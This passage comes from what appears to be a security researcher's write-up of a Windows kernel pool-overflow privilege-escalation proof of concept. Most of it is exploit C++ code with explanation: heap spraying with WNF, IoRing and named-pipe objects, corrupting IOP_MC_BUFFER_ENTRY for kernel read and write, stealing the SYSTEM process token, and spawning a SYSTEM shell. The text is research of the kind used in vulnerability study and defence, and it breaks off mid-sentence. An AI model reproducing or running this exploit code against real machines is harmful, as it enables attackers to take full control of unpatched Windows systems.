reinterpret_cast&lt;IOP_MC_BUFFER_ENTRY*&gt;(VirtualAlloc(NULL, 0x5000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));<br>    VirtualLock(fake_bufferentry, 0x5000);<br>    fake_bufferentry = reinterpret_cast&lt;IOP_MC_BUFFER_ENTRY*&gt;(reinterpret_cast&lt;unsigned char*&gt;(fake_bufferentry) + 0x3000);<br>    memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY));<br>    //pre-register buffer array with len=REGBUFFERCOUNT<br>    preregBuffers[0].Address = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);<br>    if (!preregBuffers[0].Address)<br>    {<br>        printf(&quot;[-] Failed to allocate prereg buffer\n&quot;);<br>        return FALSE;<br>    }<br>    memset(preregBuffers[0].Address, 0x41, 0x100);<br>    preregBuffers[0].Length = 0x10;<br><br>    for (int i = 0; i &lt; IORINGS_SIZE; i++) {<br>        result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, reinterpret_cast&lt;HIORING*&gt;(&amp;(iorings[i])));<br>        if (!SUCCEEDED(result))<br>        {<br>            printf(&quot;[-] Failed creating IO ring handle: 0x%x\n&quot;, result);<br>        }<br>        //printf(&quot;[+] Created IoRing. puioring=0x%p\n&quot;, iorings[i]);<br><br>        result = BuildIoRingRegisterBuffers(reinterpret_cast&lt;HIORING&gt;(iorings[i]), REGBUFFERCOUNT, preregBuffers, 0);<br>        if (!SUCCEEDED(result))<br>        {<br>            printf(&quot;[-] Failed BuildIoRingRegisterBuffers: 0x%x\n&quot;, result);<br>        }<br>    }<br><br>    // Create named pipes for the input/output of the I/O operations<br>    // and open client handles for them<br>    //<br>    [...]<br><br>    return TRUE;<br>}</pre><p>The function first allocates <em>0x500</em> pipes using <a href="https://learn.microsoft.com/it-it/windows/win32/api/namedpipeapi/nf-namedpipeapi-createpipe"><em>CreatePipe()</em></a><em> </em>(which will be used for spraying <em>PipeAttribute</em> objects later). Then, it allocates <em>0x500</em> <em>IORING_OBJECT</em> structures using <a href="https://learn.microsoft.com/en-us/windows/win32/api/ioringapi/nf-ioringapi-createioring"><em>CreateIoRing()</em></a>, and for each of them, it calls <em>BuildIoRingRegisterBuffers()</em> with <em>count = 0</em> (which will allocate <strong><em>BRrI</em> </strong>objects of size <em>0x50</em> later).</p><p>Next, it creates named pipes, which will be useful later for exploiting the arbitrary read/write primitive, as described in the <a href="https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/">I/O Ring technique</a>.</p><p>After reading the content of the <em>max_corrupted</em> <em>WNF_STATE_DATA</em> into a buffer, the function locates a suitable <em>WNF_STATE_DATA</em> object that can be used to <strong>control both the <em>PipeAttribute</em> object and the <em>RegBuffers</em> object</strong> (the <em>RegBuffers</em> object refers to a <em>BRrI</em> object). This <em>WNF_STATE_DATA</em> corresponds to <em>regBuffersControllerWNF</em> and is typically the same as <em>max_corrupted</em>.</p><p>It then locates two additional <em>WNF_STATE_DATA</em> objects after <em>regBuffersControllerWNF</em> and overwrites one with <em>0x4343434343434343</em> and the other with <em>0x4444444444444444</em>.</p><p>Finally, it flushes everything to the kernel by calling <em>NtUpdateWnfStateData()</em> on <em>regBuffersControllerWNF</em>.</p><pre>    [...]<br>    result = fNtQueryWnfStateData(&amp;(max_corrupted-&gt;state), NULL, NULL, &amp;stamp, buffer, &amp;(max_corrupted-&gt;dataSize));<br>    if (result != 0) {<br>        std::cout &lt;&lt; &quot;NtQueryWnfStateData on max_corrupted returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        exit(0);<br>    }<br>    [...]<br>    auto ptr2 = buffer + 0x30;<br>    while (reinterpret_cast&lt;DWORD64*&gt;(ptr2)[0] == 0x0) {<br>        ptr2 += 0x8;<br>    }<br>    auto found_wnf = 0;<br>    while (reinterpret_cast&lt;unsigned char*&gt;(ptr2) &lt; buffer + 0x10000 - 0x20) {<br>        ph = reinterpret_cast&lt;POOL_HEADER*&gt;(ptr2);<br>        //found WNF<br>        if (ph-&gt;PoolTag == 0x20666e57) {<br>            found_wnf = 1;<br>            break;<br>        }<br>        //Probably found a chunk at the end of a page. It has additional data set to 0. Skip it.<br>        else if (reinterpret_cast&lt;DWORD64*&gt;(ptr2)[0] == 0) {<br>            while (reinterpret_cast&lt;DWORD64*&gt;(ptr2)[0] == 0 &amp;&amp; reinterpret_cast&lt;unsigned char*&gt;(ptr2) &lt; buffer + 0x10000 - 0x20) {<br>                ptr2 += 0x8;<br>            }<br>        }<br>        else {<br>            ptr2 += 0x50;<br>        }<br>    }<br><br>    if (!found_wnf) {<br>        std::cout &lt;&lt; &quot;[-] not found WNF to be freed and replaced with RegBuffers&quot; &lt;&lt; std::endl;<br>        exit(0);<br>    }<br><br>    std::cout &lt;&lt; &quot;[+] found WNF to be freed and replaced with RegBuffers&quot; &lt;&lt; std::endl;<br><br>    offset = reinterpret_cast&lt;unsigned char*&gt;(ptr2) - buffer;<br><br>    std::cout &lt;&lt; &quot;offset &quot; &lt;&lt; std::hex &lt;&lt; offset &lt;&lt; std::endl;<br><br>    if (offset + TARGET_SIZE &lt; WNF_MAX_DATA_SIZE) {<br>        regBuffersControllerWNF = max_corrupted;<br>    }<br>    else {<br>        ph = reinterpret_cast&lt;POOL_HEADER*&gt;(ptr2);<br>        data = reinterpret_cast&lt;DWORD64*&gt;(ptr2 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));<br><br>        auto c = std::find_if(corrupted.begin(), corrupted.end(), [&amp;data](std::shared_ptr&lt;WNF_STATE_CORRUPTED&gt;&amp; c) {<br>            return c-&gt;val == data[0];<br>            });<br>        if (c != corrupted.end()) {<br>            regBuffersControllerWNF = c-&gt;get();<br>        }<br>    }<br><br>    if (regBuffersControllerWNF == NULL) {<br>        std::cout &lt;&lt; &quot;no regBuffersControllerWNF found&quot; &lt;&lt; std::endl;<br>        exit(0);<br>    }<br>    [...]<br>    //overwriting next WNF value to understand what is to be freed<br>    //when freed, It will be replaced by a RegBuffers object if the exploit has success<br>    ph = reinterpret_cast&lt;POOL_HEADER*&gt;(ptr2);<br>    data = reinterpret_cast&lt;DWORD64*&gt;(ptr2 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));<br>    data[0] = 0x4343434343434343;<br>    <br>    //doing the same for PipeAttribute<br>    [...]<br><br>    //overwriting next WNF value to understand what is to be freed<br>    //when freed, It will be replaced by a PipeAtttribute object if the exploit has success<br><br>    ph = reinterpret_cast&lt;POOL_HEADER*&gt;(ptr3);<br>    data = reinterpret_cast&lt;DWORD64*&gt;(ptr3 + sizeof(POOL_HEADER) + sizeof(WNF_STATE_DATA));<br>    data[0] = 0x4444444444444444;<br><br>    std::cout &lt;&lt; &quot;updating regBuffersControllerWNF&quot; &lt;&lt; std::endl;<br><br><br>    std::cout &lt;&lt; &quot;calling NtUpdateWnfStateData on tokenReaderWNF-&gt;state &quot; &lt;&lt; std::hex &lt;&lt; regBuffersControllerWNF-&gt;state.Data[0] &lt;&lt; regBuffersControllerWNF-&gt;state.Data[0] &lt;&lt; &quot; and datasize&quot; &lt;&lt; regBuffersControllerWNF-&gt;dataSize &lt;&lt; std::endl;<br>    result = fNtUpdateWnfStateData(&amp;(regBuffersControllerWNF-&gt;state), buffer + offset - 0x30, WNF_MAX_DATA_SIZE, 0, 0, 0, 0);<br>    if (result != 0) {<br>        std::cout &lt;&lt; &quot;fNtUpdateWnfStateData on max_corrupted returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    }<br><br>    [...]</pre><p>Afterward, it loops again through all the allocated <em>WNF_STATE_DATA</em> objects to locate the ones containing <em>0x4343434343434343</em> and <em>0x4444444444444444</em>.</p><pre>[...]<br>std::cout &lt;&lt; &quot;[*] retrieving WNF with content 0x4343434343434343&quot; &lt;&lt; std::endl;<br>std::cout &lt;&lt; &quot;[*] retrieving WNF with content 0x4444444444444444&quot; &lt;&lt; std::endl;<br><br>WNF_STATE_NAME to_free_WNF = { 0 };<br>WNF_STATE_NAME to_free_WNF2 = { 0 };<br>BOOL found1 = FALSE, found2 = FALSE;<br>//auto max_to_free_wnfs = 0;<br><br>std::cout &lt;&lt; &quot;searching in statenames2&quot; &lt;&lt; std::endl;<br>for (auto&amp; state : statenames2) {<br>    //stamp = 0;<br>    outsize = 0x30;<br>    result = fNtQueryWnfStateData(&amp;state, NULL, NULL, &amp;stamp, buffer, &amp;outsize);<br>    if (result != 0) {<br>        //std::cout &lt;&lt; &quot;NtQueryWnfStateData returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        //std::cout &lt;&lt; &quot;outsize: &quot; &lt;&lt; std::hex &lt;&lt; outsize &lt;&lt; std::endl;<br>        result = fNtQueryWnfStateData(&amp;state, NULL, NULL, &amp;stamp, buffer, &amp;outsize);<br>        //std::cout &lt;&lt; &quot;NtQueryWnfStateData returned second time &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        if (reinterpret_cast&lt;DWORD64*&gt;(buffer)[0] == 0x4343434343434343) {<br>            std::cout &lt;&lt; &quot;found corrupted WNF: &quot; &lt;&lt; std::hex &lt;&lt; state.Data[0] &lt;&lt; state.Data[1] &lt;&lt; &quot;val: &quot; &lt;&lt; std::hex &lt;&lt; reinterpret_cast&lt;DWORD64*&gt;(buffer)[0] &lt;&lt; std::endl;<br>            memcpy(&amp;to_free_WNF, &amp;state, sizeof(WNF_STATE_NAME));<br>            found1 = TRUE;<br>        }<br>        else if (reinterpret_cast&lt;DWORD64*&gt;(buffer)[0] == 0x4444444444444444) {<br>            std::cout &lt;&lt; &quot;found corrupted WNF: &quot; &lt;&lt; std::hex &lt;&lt; state.Data[0] &lt;&lt; state.Data[1] &lt;&lt; &quot;val: &quot; &lt;&lt; std::hex &lt;&lt; reinterpret_cast&lt;DWORD64*&gt;(buffer)[0] &lt;&lt; std::endl;<br>            memcpy(&amp;to_free_WNF2, &amp;state, sizeof(WNF_STATE_NAME));<br>            found2 = TRUE;<br>        }<br>        if (found1 == TRUE &amp;&amp; found2 == TRUE) {<br>            break;<br>        }<br>    }<br>}<br>[...]<br>std::cout &lt;&lt; &quot;found1 &quot; &lt;&lt; found1 &lt;&lt; &quot; found2 &quot; &lt;&lt; found2 &lt;&lt; std::endl;<br><br>if (!found1 || !found2) {<br>    std::cout &lt;&lt; &quot;[-] not found WNFs to be freed&quot; &lt;&lt; std::endl;<br>    exit(0);<br>}<br><br>[...]</pre><p>If it finds the objects, it first frees the one containing <em>0x4343434343434343</em> using <em>NtDeleteWnfStateData()</em>, and then allocates <em>0x500</em> <em>regBuffers</em> objects of size <em>0x50</em> using <em>SubmitIoRing()</em>.</p><pre>    [...]<br>    result = fNtDeleteWnfStateData(&amp;to_free_WNF, NULL);<br>    if (result != 0) {<br>        std::cout &lt;&lt; &quot;NtDeleteWnfStateData returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    }<br><br><br>    //creating regBuffersArray with size 0x50 in PagedPool. Hopefully one will replace the freed WNF<br>    for (int i = 0; i &lt; IORINGS_SIZE; i++) {<br>        UINT32 submitted = 0;<br>        result = SubmitIoRing(reinterpret_cast&lt;HIORING&gt;(iorings[i]), 0, INFINITE, &amp;submitted);<br>        if (!SUCCEEDED(result)) {<br>            printf(&quot;[-] Failed SubmitIoRing: 0x%x\n&quot;, result);<br>            return FALSE;<br>        }<br>    }<br>    [...]</pre><p>It performs the same action to replace the <em>WNF_STATE_DATA</em> object with the value <em>0x4444444444444444</em> with a <em>PipeAttribute</em> object of size <em>0x50</em>, calling <em>NtFsControlFile()</em> with IOCTL <em>0x11003C</em>.</p><pre>[...]<br>result = fNtDeleteWnfStateData(&amp;to_free_WNF2, NULL);<br>if (result != 0) {<br>    std::cout &lt;&lt; &quot;NtDeleteWnfStateData returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>}<br><br><br>//creating pipeAttributes with size 0x50 in PagedPool. Hopefully one will replace the freed WNF<br>for (int i = 0; i &lt; SPRAY_PIPE_COUNT; i++) {<br>    result = fNtFsControlFile(spray_pipes[i].pipe_write,<br>        NULL,<br>        NULL,<br>        NULL,<br>        &amp;status,<br>        0x11003C,<br>        attribute,<br>        attribute_size,<br>        output,<br>        output_size<br>    );<br>    if (result != 0) {<br>        std::cout &lt;&lt; &quot;[-] fNtFsControlFile failed with error 0x&quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    }<br>}<br>[...]</pre><p>If everything is successful, the heap layout should resemble the following. In this case, <em>regBuffersControllerWNF</em> is followed by the <em>regBuffers</em> object (<em>IrRB</em> tag) and a <em>PipeAttribute</em> object (<em>NpAt</em> tag).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*SXZ_JBNCN6m1tC5n2xMF2g.png" /><figcaption>5. Heap layout after successfully replacing WNF_STATE_DATA with regBuffers and PIpeAttibute objects</figcaption></figure><p>Additionally, the <em>DataSize</em> field of <em>regBuffersControllerWNF</em> is <em>0x1000</em>, as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*8fhoU8IULkOL1SE4Qedzig.png" /><figcaption>6. DataSize of <em>regBuffersControllerWNF</em></figcaption></figure><p>This means it is possible to <strong>read/write both the <em>regBuffers</em> object and the <em>PipeAttribute</em> object calling <em>NtQueryWnfStateData()</em> and <em>NtUpdateWnfStateData()</em> on <em>regBuffersControllerWNF</em></strong>.</p><p>In fact, the PoC calls <em>NtQueryWnfStateData()</em> again on <em>regBuffersControllerWNF</em> to retrieve the contents of the next objects and checks the tags of both objects to confirm they were replaced successfully.</p><pre>    [...]<br>    result = fNtQueryWnfStateData(&amp;(regBuffersControllerWNF-&gt;state), NULL, NULL, &amp;stamp, buffer, &amp;(regBuffersControllerWNF-&gt;dataSize));<br>    if (result != 0) {<br>        std::cout &lt;&lt; &quot;NtQueryWnfStateData on regBuffersControllerWNF returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        exit(0);<br>    }<br>    //std::cout &lt;&lt; &quot;buffer content&quot; &lt;&lt; std::endl;<br><br>    std::cout &lt;&lt; Hexdump(buffer, 0x150) &lt;&lt; std::endl &lt;&lt; std::endl;<br><br>    //getchar();<br><br>    found1 = 0, found2 = 0;<br>    ptr2 = buffer;<br>    auto regbuffersobject_ptr = ptr2;<br>    auto pipeattributeobject_ptr = ptr2;<br><br>    while (ptr2 &lt; buffer + regBuffersControllerWNF-&gt;dataSize - sizeof(POOL_HEADER)) {<br>        ph = reinterpret_cast&lt;POOL_HEADER*&gt;(ptr2);<br>        if (ph-&gt;PoolTag == REGBUFFERS_TAG) {<br>            found1 = 1;<br>            regbuffersobject_ptr = ptr2;<br>        }<br>        else if (ph-&gt;PoolTag == PIPEATTRIBUTE_TAG) {<br>            found2 = 1;<br>            pipeattributeobject_ptr = ptr2;<br>        }<br>        if (found1 &amp;&amp; found2) {<br>            break;<br>        }<br>        ptr2 += 0x8;<br>    }<br><br>    if (found1 == FALSE) {<br>        std::cout &lt;&lt; &quot;[-] regBuffers not found&quot; &lt;&lt; std::endl;<br>        exit(0);<br>    }<br><br>    if (found2 == FALSE) {<br>        std::cout &lt;&lt; &quot;[-] pipeAttributes not found&quot; &lt;&lt; std::endl;<br>        exit(0);<br>    }<br><br>    std::cout &lt;&lt; &quot;[+] regBuffers found and can be overwritten&quot; &lt;&lt; std::endl;<br>    std::cout &lt;&lt; &quot;[+] pipeAttribute found and can be read&quot; &lt;&lt; std::endl;<br>    [...]</pre><p>The PoC prints the leaked contents to the screen. If both tags appear on the screen, it means the process was successful, and it is now possible to obtain arbitrary read/write access in the kernel by <strong>overwriting the pointer to the <em>IOP_MC_BUFFER_ENTRY</em></strong> with a <strong>malicious user-mode <em>IOP_MC_BUFFER_ENTRY</em> structure</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*zbfThbav_7ZCajY-AVRuTA.png" /><figcaption>7. PoC showing leaked regBuffers and PipeAttribute objects</figcaption></figure><h4>Getting arbitrary read/write</h4><p>At this point, the PoC performs the following actions:</p><ol><li>Saves the original <em>IOP_MC_BUFFER_ENTRY</em> kernel-mode address in <em>original_regBufferEntry</em>.</li><li>Saves the <em>PipeAttribute.Flink</em> pointer in <em>pipeAttributeFlink</em>.</li><li>Overwrites the <em>IOP_MC_BUFFER_ENTRY</em> address with the <strong>user-mode address <em>fake_bufferentry</em></strong> by calling <em>NtUpdateWnfStateData()</em> on <em>regBuffersControllerWNF</em>.</li></ol><pre>[...]<br>std::cout &lt;&lt; &quot;[+] regBuffers found and can be overwritten&quot; &lt;&lt; std::endl;<br>std::cout &lt;&lt; &quot;[+] pipeAttribute found and can be read&quot; &lt;&lt; std::endl;<br><br>//getting original kernel address of IOP_MC_BUFFER_ENTRY struct and saving in original_regBufferEntry<br>auto original_regBufferEntry = *(reinterpret_cast&lt;DWORD64*&gt;(regbuffersobject_ptr + sizeof(_POOL_HEADER)));<br>//getting address of PipeAttribute.ListEntry.Flink<br>auto pipeAttributeFlink = *(reinterpret_cast&lt;DWORD64*&gt;(pipeattributeobject_ptr + sizeof(_POOL_HEADER)));<br><br>auto fileObject_ptr = pipeAttributeFlink - ROOT_PIPE_ATTRIBUTE_OFFSET + FILE_OBJECT_OFFSET;<br>std::cout &lt;&lt; &quot;[*] original_regBufferEntry: &quot; &lt;&lt; std::hex &lt;&lt; original_regBufferEntry &lt;&lt; std::endl;<br>std::cout &lt;&lt; &quot;[*] pipeAttributeFlink: &quot; &lt;&lt; std::hex &lt;&lt; pipeAttributeFlink &lt;&lt; std::endl;<br><br>IOP_MC_BUFFER_ENTRY** regBuffersAddr = reinterpret_cast&lt;PIOP_MC_BUFFER_ENTRY*&gt;(regbuffersobject_ptr + sizeof(POOL_HEADER));<br><br>regBuffersAddr[0] = fake_bufferentry;<br><br>result = fNtUpdateWnfStateData(&amp;(regBuffersControllerWNF-&gt;state), buffer, WNF_MAX_DATA_SIZE, 0, 0, 0, 0);<br>if (result != 0) {<br>    std::cout &lt;&lt; &quot;fNtUpdateWnfStateData on tokenControllerWNF returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>}<br>[...]</pre><p>Afterward, the PoC loops through all the allocated <em>IoRings</em> objects and, for each one, calls <strong><em>KRead()</em></strong>.</p><pre>BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size) {<br>    DWORD bytesRead = 0;<br>    HRESULT result;<br>    UINT32 submittedEntries;<br>    IORING_CQE cqe;<br><br>    memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY));<br>    fake_bufferentry-&gt;Address = TargetAddress;<br>    fake_bufferentry-&gt;Length = size;<br>    fake_bufferentry-&gt;Type = 0xc02;<br>    fake_bufferentry-&gt;Size = 0x80;<br>    fake_bufferentry-&gt;AccessMode = 1;<br>    fake_bufferentry-&gt;ReferenceCount = 1;<br><br>    auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);<br>    auto requestDataFile = IoRingHandleRefFromHandle(outputClientPipe);<br><br>    result = BuildIoRingWriteFile(targetHandle,<br>        requestDataFile,<br>        requestDataBuffer,<br>        size,<br>        0,<br>        FILE_WRITE_FLAGS_NONE,<br>        NULL,<br>        IOSQE_FLAGS_NONE);<br>    if (!SUCCEEDED(result))<br>    {<br>        printf(&quot;[-] Failed building IO ring read file structure: 0x%x\n&quot;, result);<br>        return FALSE;<br>    }<br><br>    result = SubmitIoRing(targetHandle, 1, INFINITE, &amp;submittedEntries);<br>    if (!SUCCEEDED(result))<br>    {<br>        printf(&quot;[-] Failed submitting IO ring: 0x%x\n&quot;, result);<br>        return FALSE;<br>    }<br>    //printf(&quot;[*] submittedEntries = %d\n&quot;, submittedEntries);<br>    //<br>    // Check the completion queue for the actual status code for the operation<br>    //<br>    result = PopIoRingCompletion(targetHandle, &amp;cqe);<br>    if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode)))<br>    {<br>        printf(&quot;[-] Failed reading kernel memory 0x%x\n&quot;, cqe.ResultCode);<br>        return FALSE;<br>    }<br><br>    BOOL res = ReadFile(outputPipe,<br>        pOut,<br>        size,<br>        &amp;bytesRead,<br>        NULL);<br>    if (!res)<br>    {<br>        printf(&quot;[-] Failed to read from output pipe: 0x%x\n&quot;, GetLastError());<br>        return FALSE;<br>    }<br>    //printf(&quot;[+] Successfully read %d bytes from kernel address 0x%p.\n&quot;, bytesRead, TargetAddress);<br>    return res;<br>}</pre><p><strong><em>KRead()</em> allows </strong>reading a specified number of bytes (<strong><em>size </em></strong>parameter) <strong>from <em>TargetAddress</em></strong> and saves the result in <strong><em>pOut</em></strong>. The <em>IoRing</em> handle used by <em>KRead()</em> is the global variable <strong><em>targetHandle</em></strong>. <em>KRead()</em> achieves this by setting <em>TargetAddress</em> and <em>size</em> in <em>fake_bufferentry</em>, then calling the appropriate APIs, as described in <a href="https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/">Yarden’s article</a>.</p><p>Once it receives a value in <em>pOut</em> different from <em>0x4141414141414141</em>, this indicates that the <em>IoRing</em> with the <strong>user-mode <em>IOP_MC_BUFFER_ENTRY</em></strong> was used, and it exits the loop. The value returned in <em>pOut</em> is the <strong>address of the <em>FILE_OBJECT</em></strong> associated with the <em>PipeAttribute</em> object.</p><h4>Privilege Escalation</h4><p>At this stage, the PoC first exploits the arbitrary read to obtain the <strong>base address of <em>ntoskrnl.exe</em></strong>.</p><p>It does this by reading the <strong>base address of <em>npfs.sys</em></strong> and then reading the address of <strong><em>nt!ExAllocatePool2</em></strong> in the same manner as described in the <a href="https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf">paper</a>.</p><pre>[...]<br>//get deviceObject<br>KRead((PVOID)(fileObject + 0x8), reinterpret_cast&lt;PBYTE&gt;(&amp;deviceObject), sizeof(deviceObject));<br>//std::cout &lt;&lt; &quot;[*] deviceObject: &quot; &lt;&lt; std::hex &lt;&lt; deviceObject &lt;&lt; std::endl;<br><br>//get driverObject<br>KRead((PVOID)(deviceObject + 0x8), reinterpret_cast&lt;PBYTE&gt;(&amp;driverObject), sizeof(driverObject));<br>//std::cout &lt;&lt; &quot;[*] driverObject: &quot; &lt;&lt; std::hex &lt;&lt; deviceObject &lt;&lt; std::endl;<br><br>//get Npfs!NpFsdCreate<br>KRead((PVOID)(driverObject + 0x70), reinterpret_cast&lt;PBYTE&gt;(&amp;pNpFsdCreate), sizeof(pNpFsdCreate));<br>//std::cout &lt;&lt; &quot;[*] Npfs!NpFsdCreate: &quot; &lt;&lt; std::hex &lt;&lt; pNpFsdCreate &lt;&lt; std::endl;<br>std::cout &lt;&lt; &quot;[*] base of npfs.sys: &quot; &lt;&lt; std::hex &lt;&lt; pNpFsdCreate - NPFS_NPFSDCREATE_OFFSET &lt;&lt; std::endl;<br><br>//get ExAllocatePool2<br>KRead((PVOID)(pNpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOL2_OFFSET), reinterpret_cast&lt;PBYTE&gt;(&amp;pExAllocatePool2), sizeof(pExAllocatePool2));<br>//std::cout &lt;&lt; &quot;[*] ExAllocatePool2 : &quot; &lt;&lt; std::hex &lt;&lt; pExAllocatePool2 &lt;&lt; std::endl;<br>std::cout &lt;&lt; &quot;[*] base of ntoskrnl.exe: &quot; &lt;&lt; std::hex &lt;&lt; pExAllocatePool2 - NT_ALLOCATEPOOL2_OFFSET &lt;&lt; std::endl;<br>//std::cout &lt;&lt; &quot;[*] system EPROCESS ptr: &quot; &lt;&lt; std::hex &lt;&lt; pExAllocatePool2 - NT_ALLOCATEPOOL2_OFFSET + NT_INITIALSYSTEMPROCESS_OFFSET &lt;&lt; std::endl;<br>[...]</pre><p>Afterward, like many other <em>EoP</em> PoCs, it retrieves the <strong>address of the system process token</strong> and the <strong>address of the current process token</strong> by looping through the linked list of processes.</p><pre>[...]<br>KRead((PVOID)(system_eproc + EPROCESS_TOKEN_OFFSET), reinterpret_cast&lt;PBYTE&gt;(&amp;system_token), sizeof(system_token));<br>system_token &amp;= 0xfffffffffffffff0;<br>std::cout &lt;&lt; &quot;[*] system TOKEN: &quot; &lt;&lt; std::hex &lt;&lt; system_token &lt;&lt; std::endl;<br><br><br>std::cout &lt;&lt; &quot;[*] curpid: &quot; &lt;&lt; curpid &lt;&lt; std::endl;<br><br>cur_eproc = system_eproc;<br>while (1) {<br>    //std::cout &lt;&lt; &quot;[*] cur_eproc: &quot; &lt;&lt; std::hex &lt;&lt; cur_eproc &lt;&lt; std::endl;<br>    KRead((PVOID)(cur_eproc + EPROCESS_UNIQUEPROCESSID_OFFSET), reinterpret_cast&lt;PBYTE&gt;(&amp;pid), sizeof(pid));<br>    //std::cout &lt;&lt; &quot;[*] pid: &quot; &lt;&lt; pid &lt;&lt; std::endl;<br>    if (pid == curpid) {<br>        break;<br>    }<br>    KRead((PVOID)(cur_eproc + EPROCESS_FLINK_OFFSET), reinterpret_cast&lt;PBYTE&gt;(&amp;cur_eproc), sizeof(cur_eproc));<br>    cur_eproc -= EPROCESS_FLINK_OFFSET;<br>}<br>[...]</pre><p>Finally, it calls <strong><em>KWrite()</em> </strong>to <strong>overwrite </strong>the <strong>current process token </strong>with the <strong>system process token</strong>, then spawns a new shell.</p><pre>    cur_token_ptr = cur_eproc + EPROCESS_TOKEN_OFFSET;<br><br>    KWrite((PVOID)cur_token_ptr, reinterpret_cast&lt;PBYTE&gt;(&amp;system_token), sizeof(system_token));<br><br>    system(&quot;cmd.exe&quot;);</pre><p><strong><em>Note:</em></strong><em> KWrite() works similarly to KRead(), by setting TargetAddress and size in fake_bufferentry.</em></p><h4>Cleanup</h4><p>At this point, the PoC restores the original <em>IOP_MC_BUFFER_ENTRY</em> kernel pointer using <em>NtUpdateWnfStateData()</em> and then frees all allocated resources.</p><pre>    [...]<br>    //restoring original buffer entry<br>    regBuffersAddr[0] = reinterpret_cast&lt;IOP_MC_BUFFER_ENTRY*&gt;(original_regBufferEntry);<br><br>    result = fNtUpdateWnfStateData(&amp;(regBuffersControllerWNF-&gt;state), buffer, WNF_MAX_DATA_SIZE, 0, 0, 0, 0);<br>    if (result != 0) {<br>        std::cout &lt;&lt; &quot;fNtUpdateWnfStateData on tokenControllerWNF returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>    }<br><br>    std::cout &lt;&lt; &quot;calling NtUpdateWnfStateData returned successfully&quot; &lt;&lt; std::endl;<br><br>    //cleanup<br>    for (int i = 0; i &lt; IORINGS_SIZE; i++) {<br>        result = CloseIoRing(reinterpret_cast&lt;HIORING&gt;(iorings[i]));<br>        if (!SUCCEEDED(result)) {<br>            printf(&quot;[-] Failed CloseIoRing: 0x%x\n&quot;, result);<br>            return FALSE;<br>        }<br>    }<br><br>    for (int i = 0; i &lt; SPRAY_PIPE_COUNT; i++) {<br>        if (!CloseHandle(spray_pipes[i].pipe_read)) {<br>            std::cout &lt;&lt; &quot;CloseHandle failed with error 0x&quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        }<br>        if (!CloseHandle(spray_pipes[i].pipe_write)) {<br>            std::cout &lt;&lt; &quot;CloseHandle failed with error 0x&quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        }<br>    }<br><br>    for (auto&amp; state : statenames1) {<br>        result = fNtDeleteWnfStateName(&amp;state);<br>        if (result != 0) {<br>            std::cout &lt;&lt; &quot;NtDeleteWnfStateName returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        }<br>    }<br><br>    for (auto&amp; state : statenames2) {<br>        result = fNtDeleteWnfStateName(&amp;state);<br>        if (result != 0) {<br>            std::cout &lt;&lt; &quot;NtDeleteWnfStateName returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        }<br>    }<br><br>    for (auto&amp; state : statenames3) {<br>        result = fNtDeleteWnfStateName(&amp;state);<br>        if (result != 0) {<br>            std::cout &lt;&lt; &quot;NtDeleteWnfStateName returned &quot; &lt;&lt; std::hex &lt;&lt; result &lt;&lt; std::endl;<br>        }<br>    }<br>    //std::cout &lt;&lt; Hexdump(buffer, max_corrupted-&gt;get()-&gt;dataSize) &lt;&lt; std::endl &lt;&lt; std::endl;<br><br>    return 0;<br>}</pre><p><strong><em>Note:</em></strong><em> The cleanup procedure should be performed before calling </em><em>system(&quot;cmd.exe&quot;).</em></p><p>Below is the expected outcome when the exploit is successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rF5Sje_WnPGvGFamWml-g.gif" /><figcaption>8. Running PoC and getting system shell</figcaption></figure><h3>Limitations and Improvements</h3><p>The size of the overflow <strong>cannot be fully controlled</strong>, but it is approximately 0xfff0 bytes. This means that sometimes it may trigger a crash if the overflow occurs in a non-paged pool area. Adjusting the spraying technique could help mitigate this issue.</p><p>The <strong>free-realloc</strong> mechanism is <strong>not always successful</strong>. Other drivers may allocate objects of the same size during the free and allocate operations. This can be partially mitigated by using <strong>other corrupted <em>WNF_STATE_DATA</em> objects in a while loop</strong> (the 0xfff0 overflow allows potential control over many <em>WNF_STATE_DATA</em> objects). Hopefully, at least one attempt should succeed.</p><p>The PoC relies on hardcoded offsets. Most of offsets for functions and within data structures can be fetched from the 